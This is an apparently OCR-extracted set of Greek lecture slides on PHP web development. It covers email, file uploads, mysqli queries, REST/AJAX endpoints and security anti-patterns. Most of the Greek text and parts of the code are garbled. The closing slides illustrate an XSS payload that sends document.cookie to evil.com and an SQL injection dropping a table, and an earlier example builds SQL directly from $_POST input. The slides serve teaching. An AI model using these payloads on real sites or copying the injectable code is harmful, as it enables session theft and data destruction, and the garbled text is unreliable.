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EI2AIQIMH

* Arntattouvtal Baoiwkeg 'vwoelg
* ATO TO IPWTO PHEPOC TNG TTapouciaong
* Aettoupyia Popuwv

* BaoelgAedopevwy - Nwaooa SQL



E-MAIL

¢ Aettoupyieg tou E-Mail:
* HPHP divel duvatotnta anootoAng email peow SMTP tpwTtoKOAAOU
* [a n xpnon tng default mail() cuvéaptnong
* Tov SMTP server tou Ba xpnolpoTolrjcoupe Tov opidoupe oto apxeio php.ini.
* 2e production mepBdaArovta cuvnbwe n mail() AE xpnotpotmoleital

e EvaMaktika: https://github.com/Synchro/PHPMailer

* SMTP authentication, attach, HTML mails k.a.

* To email pag dev KivduveUel va XapaktnpLlotei spam


https://github.com/Synchro/PHPMailer

E-MAIL

<?
$message="Text to send through mail";

mail("nobod @examfle com" "Subject Text", $message,"From:
webmaster@example.com"
?>

ATTAOG TopadeLyPa HE XPenon Tng mail()



FILE UPLOAD

* Mmopw va VAOTIOLNOW Yla TOUG Xprnoteg pou upload apxeiwv otov
server

e 2uvaptnon move_uploaded_file ()

* MetaBAntA $_FILES

* php.ini
upload_max_filesize 2M 2M
upload_tmp_dir c:iwampitmp c:iwampitmp
file_uploads On On




FILE UPLOAD - OEMATA AZDAAEIAZ

- File upload povo av sivat antapaitnto

(TL.X. EYYEYPAUHEVOL XPNOTEC)
- AmoBnkeuon Twv apxeiwyv ekToOq

WWW root
- AM\ayn ovopatog apxeiou
PHP pepoc 1° - Amoduyn xpong cuvaptioEwy
FllVPUUV LA™Y ||s WVUUYV WI/IWI VI VIVVWOTI O include Yla uploaded/ remote files

v «MelovékTnpa»: Server side Kwdikag pe bugs
- Oéuata acpdAsiag (hacked)

Warning

Security warning

Remote file may be processed at the remote server
(depending on the file extension and the fact if the remote
server runs PHP or not) but it still has to produce a valid
PHP script because it will be processed at the local server.
If the file from the remote server should be processed
there and outputted only, readfile() is much better function
to use. Otherwise, special care should be taken to secure
the remote script to produce a valid and desired code.




AlAZYNAEZH ME BA Web Server Database

Capache [ = 2

. MySQL
Client MSSQL

(Firefox) Oreele
PHP engine PostgreSQL

e [lava cuvdebein PHP pe tnv MySQL XpnolUoTtoloUPE TIG CUVAPTAOELG TNG
BBALoBNkNg MySQL Improved Extension (mysqli)

Http response

*Object oriented
eProcedural
e EvaAAakTtikn amtoteAei n BBAL06nkn PDO_MYSQL

e H BiBAL0ONkNn MySQL mtou tuxov Ba deite o€ online mapadeiypata eivat mAEov
“deprecated”

eTL onuaivet auto;



MYSQL_CONNECT (O0O)

$mysql _1ink = new mysqgli('localhost', ‘user', ‘pass', ‘db _name');

if ($mysql_link->connect error)
{
die('Connect Error (' . $mysql link->connect errno . ') ‘.
$mysql_link->connect _error);

}

echo "Success!";

$mysql_link->close();

* To connection KAELVEL OUTOPATOX PE TO TEAOG TOu script.
© Elval Opwg KaAN TPOKTLKA va TO TEPUATLZOULHE pe TNV xpnon Tng mysqli_close



MYSQL_CONNECT (PROCEDURAL)

$mysql _1ink = mysqli_connect('localhost', ‘user', ‘pass', ‘db_name');

if (mysqli_connect errno())

{

die('Connect Error ('

. mysqli_connect errno() . ')
mysqli_connect_error());

}

echo "Success!";
mysqli_close($mysql _link);

* To connection KAelVEL QUTOUOTX PE TO TEAOG TOU script.

 ElvaL Opwg KoM TPOKTLKM VO TO TEPUATLIOUYE WE Tnv Xpenon Tng mysqli close



MYSQL_QUERY

$my_query = "INSERT into test_table (name) VALUES ('".$_POST['name'].""')";
$result = $mysql_con->query($my_query);

if (!$result)

die('Invalid query: ' . $mysql con->error);
else
echo "Updated records: ".$mysql con->affected rows;
echo "<p><b>The last id: ".$mysql _con->insert _id."</b></p>";



SELECT

while($row = $result->fetch _array())

{
echo "<tr>";
echo "<td>" . $row['id'] . "</td>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";

}

echo "</table>“;

* Extocgtngyeboddou fetch_array pmopei va xpnotpormoindei kau n fetch_row. Xavoupe opwg apketn
TTAnpodopLa Xwplg va kepoidoupe os Taxutnta.

" 1igs

3 E ]__aBr8¥ I_sl':xe:t ETUTTAEOV VA TIPOALPETIKO Oplopa pe TiHEG MYSQLI_ASSOC, MYSQLI_NUM,



YNO2THPI=H EAAHNIKQN

* UTF-8 tavtou!
* ta.php apxeia
* 10 encoding otn oeAida tou uTtdpxet n ¢opua
* 1o encoding otn oeAida ou ekteAoUvTaL TA queries
* 1o connection peta&y php kat mysqgl

* nBdon, tatables kal ta string media twv tables



APXITEKTONIKH (MONOAIGIKH)
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APXITEKTONIKH (MONOAIBOIKH)
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APXITEKTONIKH (AIAXQPIZMOz2)

* [davika BeAoupe dlaxwplopo Ul-6edopevwv:
* 'OAn n HTML/JS va poptwvetal MIA popd otov teAdTn
* Ta AEAOMENA va diatnpouvtal amokAeloTikd otn BA

* KdBe ouvdeon meAdtn-eEunnpetn va apopd povo petadopa AEAOMENQN kat oxL tn
HopdoToinon Toug.



APXITEKTONIKH

insert.php
1. GET
L/
\ modify.php

2.2000K
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[ATI;

* KaAUtepeg emudooelg kal epmelpia xpnotn
* [pryopo apxiko poptwpa (o xpriotng de devyel)
2TadlaKo GOpTWHA OESOUEVWY (ELOLKA YIA APYEC CUVOEDELG)

MeplKég evnuepwoslc (OxL TTARpeC dopTwia oto reload) = e€oikovounon bandwidth

* KaAuUtepn dlaxeipion / anocpaipdatwon

Aveéaptnoia oxedlaoctwy / backend devs = tapdAANAn avartuén

EukoAia aMaywv ato Ul xwpig va teipaéoupe to backend (véec ekdoaelg, A/B testing k.a.)

EukoAia dlaxeipliong caching oe moAAamAd eTtiteda avaloya e TO TIEPLEXOUEVO = BEATIWON KAIHOKWOLHOTNTAG
Xprion tou idlou backend yia avarttuén toAamAWY epappoywyv

* Mobile apps

*  Web apps

* Third party apps



MEIONEKTHMATA

* [lepltAOKN APXLITEKTOVIKN
* Alaxeiplon opaApdatwy ocuvdeong
* Alaxeiplon Kataotaong Tou CUCTAUATOCG
*  AmoodaApdtwon Kal EVopxXNoTPWaonG TTOAAATIAWY AcUYXPOVWY KANCEWV

*  Anooddoelg emegepyaciag OTo server r) oTov TeAdTn;

¢ Search Engine Optimisation
* AuokoAia indexing ceAldwV XwpPIg OUCLACTIKO TIEPLEXOUEVO
* Oucrawlers xavouv cnUavtikeg AEEELG-KAELDLA TTOU dopTWVOVTAL UETA TNV apxik HTML
* Agv uttdpxouv povadikd URLS yia ta meplexopeva Tou LoTOTOTIoU

* Agv UTTAPXEL «LOTOPLKO» yLla Va akoAouBoel kamolog crawler



Page AJAX Controller Service 1 Service 2

Example: E-commerce Product Configuration

Load page

[First |Batch]

Get product categories
. O

Get user preferences
S

Return categories
Return preferences

rocess & merge categor)
data with preferences

Get filtered products
(based on categories & preferences)

Return product list
[Products found]
ng for filtered products
Return pricing data

Apply user-specific
fiscounts & formatti

[No matching products]
Get alternative categories
Return alternatives

Show alternative options

Display results

AJAX Controller Service 1 Service 2

Service 3

Service 3




APXITEKTONIKH

* [MeAdtng
* HTML pe «otatikeg» kal «duvaplkeg» teploxeq (placeholders)
*  AuvaplkeG: AUTEG yLa TIG oTtoieg Oev €xouv £pBel akopa ta dedopeva, Ba poptwboLv otn
OLVEXELA.
* 'OAn n JS tou eAeyxel TN petadopd dedopEVWY, TNV emteéepyaaoia toug (pre-/post-), Kat
TOV TPOTIO ETIOELENC TOUC OTOV TTEAATN.



APXITEKTONIKH

¢ E&umtnpetng— middleware
* PhP ) dAAn yAwooa mou:
* Agxetal artipata yia dedopgva r athuata yla arnobnkeuvon/TpomoToinon 6€SoUEPWY amo
TEAATEC

* AapBavel ta dedopeva amo tn BA r tomtobetei/tpomomnolei ta dedopEva o€ AUt

* Emotpedel otov mEAATN TA ATTOTEAECHATA TWV ALTNHUATWY PE Hopdr) TTou PTtopel va ta
avayvwoel pnxavika (JSON, XML, k.a.)

* Aedopéva, status codes/messages



APXITEKTONIKH

* E&umtnpetng-BA
* Ag€xetalqueries ano to middleware

* Emotpedel anoteAeopata o auto



APXITEKTONIKH

* H apxttektovikr autn ovopaletat REST
* Representational State Transfer

¢ RESTful architecture / RESTful APIs

* HPhP Aettoupyei wg Application Programming Interface (API) pe moA\amAd endpoints
* API: pia «tOAn» Ttpog ta dedopéva
* EAgyxOpevn kal tumomotnpévn mpocpacn ota dedopéva arnod omoladnmote cuotriuata (oxt Hovo ta
OlKA pag)
*  Mmopei va vAotolel peBOBdOLC TAUTOTIOINCNCE XPNOTN YA TIEPLOCOTEPN aohAAELa

*  Mmopei va vAomolei caching yla KaAUTEpPN AodoTIKOTNTA



YAOIOIH2H ENDPOINT (GET DATA)

<?php

$servername = "localhost"; ConneCt to DB

$username = "usidas";
$password 'mypassword";
$dbname = "web_project2023";
// Create connection

$conn = new mysqli($servername, $username, $password, $dbname); |n|t|al|se response array

$status=I[];

// Check connection

if ($conn->connect_error) { Form response status messages
$status["code"]=0;
$status["'message" ]=$conn—>connect_error;

} Execute query

$sql = "select x from items inner-join categories on items.category_id = categeries.id order by items.date_added desc limit 0,50";
if ($result—>num_rows >= 0) <
$status["code"]=1;
$status["message"]="Items retrieved successfully"; .
$status["items"]=[1; Put results into php array
$result = $conn->query($sql);
while($row = $result->fetch_assoc()) {
array_push($status["items"], $row);
}

} else {

$status["code"]1=0;

$status["message" ]1=$conn—>error; Set I’eSponse header(S)
}

header("Content-Type: application/json"); CO nvert an d return p h p a rray to JSO N

echo json_encode($status);
7>




ATNOTEAEZMA KAHZHZ ENDPOINT

code: ,
message:
- items: [
= {

id: 0
item_name:
category_id:
date_added:
category name:

id: 0
item name:
category_id:
date_added:

category_name:

id: 7

item name:
category_i
date_added:
category name:

id: o
item name:
P ”

~




KATANAAQ2H

Async function to fetch
& show data

We will place data here
(placeholderin the
HTML

<body onload="get()">
<h1> Emergency items database </hl>
<hr>
<a href="index.php">Home</a> | <a href="export.php">Export items</a> | <a href="aq
<hr>
<h2> Add new item </h2>
<form method="post" action="" id="item_form">
<h3>New Item name</h3>
<table>
<tr>
<td> Item name </td>
<td> <input type="text" name="[itname" id="litname" required> </td>
</tr>
<tr>
<td> Item category </td>
<td> <select name="itcats" id="itcats" required/> </td>
</tr>
</table>
<h3>Item Details</h3>
<table id = 'itemdetails'>
<l———<tr>

Item detail name (e.g. "volume") </td>

<input type="text" name="itdnamel" id="itdnamel" required> <

d> Item detail value (e.g. "500ml") </td>
<input type="text" name="itdvaluel" id="itdvaluel" required> </td>
</tr>——>
</table>
<input type="button" value="Add more details" onclick="add_detail()"/><br><br>
<input type="button" value="Submit to DB" onclick="send()"/>
</form>
<hr>
<div id="results">[Operation Status]</div>
<hr>
<h2> Current items in DB (latest 50) </h2>
<table id ="item_table">
</table>

</body>




function get(){

KATANAAQZH add_detail();

get_cats();

var table = document.getElementById("item_table");
table.innerHTML

var xhr = new XMLHttpRequest();

xhr.open('GET', 'get_items.php');
xhr.send();

xhr.onreadystatechange = function() {

Call the if (xhr.readyState == XMLHttpRequest.DONE) {
data = JSON.parse(this.responseText)['items'];
API //console. log(this.responseText);
. var header = table.createTHead();
endeInt var row = header.insertRow(0);
var celll = row.insertCell(0);
Create in_ var cell2 = row.insertCell(1);
var cell3 = row.insertCell(2);
memory celll.innerHTML = "Item name";
JSON cell2.innerHTML = "Category";
cell3.innerHTML = "Date Added";
ObjeCt var tbody = table.createTBody();
from for (i=0;i<data.length;i++){
response var row = tbody.insertRow(-1);
// Insert new cells (<td> elements) at the 1st and 2nd position of the "new" <tr> element:
Use var celll = row.insertCell(0);
var cell2 = row.insertCell(1);
response var cell3 = row.insertCell(2);
data to
// Add some text to the new cells:
populate celll.innerHTML = data[i] ['item_name'];
cell2.innerHTML = datal[il ['category_name'];
DOM cell3.innerHTML = data[i] ['date_added'];




TEAIKO AMMOTEAEZMA

[Operation Status]

Current items in DB (latest 50)

Item name
Coca Cola
water

t22

Glass

Pan

Paring knives
Pots

Dishes

Boots

Category

Beverages
Beverages
2d hacker

Kitchen Supplies
Kitchen Supplies
Kitchen Supplies
Kitchen Supplies
Kitchen Supplies
Clothing

Date Added

2023-11-06 21:58:12
2023-11-06 21:58:12
2023-11-07 15:52:29
2023-11-07 15:52:30
2023-11-07 15:52:30
2023-11-07 15:52:30
2023-11-07 15:52:30
2023-11-07 15:52:30
2023-11-07 15:52:30
2023-11-18 18:27:29
2023-11-18 18:27:29
2023-11-18 18:27:29
2023-11-18 18:27:29
2023-11-18 18:27:29
2023-11-06 21:58:27




ANTI-TTAPAAEIT MATA 1

* PHP Generating JavaScript Code:

<?php
$userRole = $ GET[ ‘role’]
echo
echo
echo . $userRole .
echo
echo
echo
echo
echo
?>



<?php

// Fetching coordinates from database
$query =

$result = mysqli_query($connection, $query

// Directly generating JavaScript
echo

echo

while ($row = mysqli fetch assoc($result
echo . $row
echo . $row
echo . $row

echo

echo

?>

<!-- Using the generated array -->
script
function initMap
mapPoints . fortach point =>
new google.maps.Marker

position: point
map: map
title: point.name



[TPOBAHMATA

* Mixing concerns: Aoylkn Server avapepelypevn pe client-side kwdika

* AvokoAla amtoodaApatwonc:
* OLypappeg kKwdka otov browser dev Talplalouv Pe AUTECG TNEG TTNYNG

* Aev umdpxel utootnpEn yia JavaScript tooling (linting, formatting)

* Kevo aocddaielag: Cross-site scripting



XSS ATTACK

https://mysite.org/welcome.php?name-=...

<?php // Dangerous: Directly outputting user input into JavaScript

$userName = $ GET // User-supplied input
echo

echo . $userName

echo

echo

2>



XSS ATTACK

https://mysite.org/welcome.php?name=...

'; fetch('https://evil.com/steal?cookie=" + document.cookie);

https://mysite.org/welcome.php?name=%27%3B%20fetch%28%27https%3A%2F%2Fevil.co
m%2Fsteal%3Fcookie%3D%27%20%2B%20document . cookie%29%3B%20%27

®ee00 Sprint LTE 4:08 PM 75%
 Messages  Jimmy — https://tinyurl.com/mjxrny2
4
Hey, check out the cute
puppies on MySite!
https:/ftinyurl.com/mijxrny
24
PHP :
echo . $userName .
JS:
var currentUser = fetch + document.cookie

document.getElementById = +



ANTI-TTAPAAEIT MATA 2

* PHP inline SQL injection:

table
<?php

$sortColumn = $ GET
$query =
$sortColumn

$result = mysql _query($query

while($row = mysql fetch array($result
echo . $row

2>
table



SQL INJECTION

https://mysite.org/get products.php?sort=...

g ——> name; DROP TABLE products;

https://mysite.org/welcome.php?sort=name%3B%20DROP%20TABLE%20products%3B

PHP:

<?php

$sortColumn = $ GET
$query =

$result = mysql _query($query



